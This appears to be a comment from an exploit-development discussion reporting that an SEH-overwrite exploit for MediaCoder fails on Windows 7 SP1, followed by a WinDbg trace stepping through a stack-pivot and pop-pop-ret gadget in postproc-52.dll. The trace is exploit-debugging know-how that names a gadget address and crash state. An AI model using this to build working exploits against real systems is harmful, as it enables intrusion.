Hmm, not working for me on Win 7 SP1 either.  (windows/exec payload):

	0042daf3 88040a          mov     byte ptr [edx+ecx],al      ds:0023:00130000=41
	0:000> !exchain
	0012f3f4: *** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\MediaCoder\postproc-52.dll - 
	postproc_52+14435 (6afd4435)
	Invalid exception stack at 1636203a
	0:000> bp 6afd4435
	0:000> g
	Breakpoint 0 hit
	eax=00000000 ebx=00000000 ecx=6afd4435 edx=77ba71cd esi=00000000 edi=00000000
	eip=6afd4435 esp=0012eb58 ebp=0012eb78 iopl=0         nv up ei pl zr na pe nc
	cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
	postproc_52+0x14435:
	6afd4435 81c4ac070000    add     esp,7ACh
	0:000> p
	eax=00000000 ebx=00000000 ecx=6afd4435 edx=77ba71cd esi=00000000 edi=00000000
	eip=6afd443b esp=0012f304 ebp=0012eb78 iopl=0         nv up ei pl nz ac po nc
	cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200212
	postproc_52+0x1443b:
	6afd443b 5b              pop     ebx
	0:000> p
	eax=00000000 ebx=9592979f ecx=6afd4435 edx=77ba71cd esi=00000000 edi=00000000
	eip=6afd443c esp=0012f308 ebp=0012eb78 iopl=0         nv up ei pl nz ac po nc
	cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200212
	postproc_52+0x1443c:
	6afd443c 5e              pop     esi
	0:000> p
	eax=00000000 ebx=9592979f ecx=6afd4435 edx=77ba71cd esi=2442c65a edi=00000000
	eip=6afd443d esp=0012f30c ebp=0012eb78 iopl=0         nv up ei pl nz ac po nc
	cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200212
	postproc_52+0x1443d:
	6afd443d 5f              pop     edi
	0:000> p
	eax=00000000 ebx=9592979f ecx=6afd4435 edx=77ba71cd esi=2442c65a edi=e4f88e0c
	eip=6afd443e esp=0012f310 ebp=0012eb78 iopl=0         nv up ei pl nz ac po nc
	cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200212
	postproc_52+0x1443e:
	6afd443e 5d              pop     ebp
	0:000> p
	eax=00000000 ebx=9592979f ecx=6afd4435 edx=77ba71cd esi=2442c65a edi=e4f88e0c
	eip=6afd443f esp=0012f314 ebp=597a7252 iopl=0         nv up ei pl nz ac po nc
	cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200212
	postproc_52+0x1443f:
	6afd443f c3              ret
	0:000> p
	eax=00000000 ebx=9592979f ecx=6afd4435 edx=77ba71cd esi=2442c65a edi=e4f88e0c
	eip=c9e42ce2 esp=0012f318 ebp=597a7252 iopl=0         nv up ei pl nz ac po nc
	cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200212
	c9e42ce2 ??              ???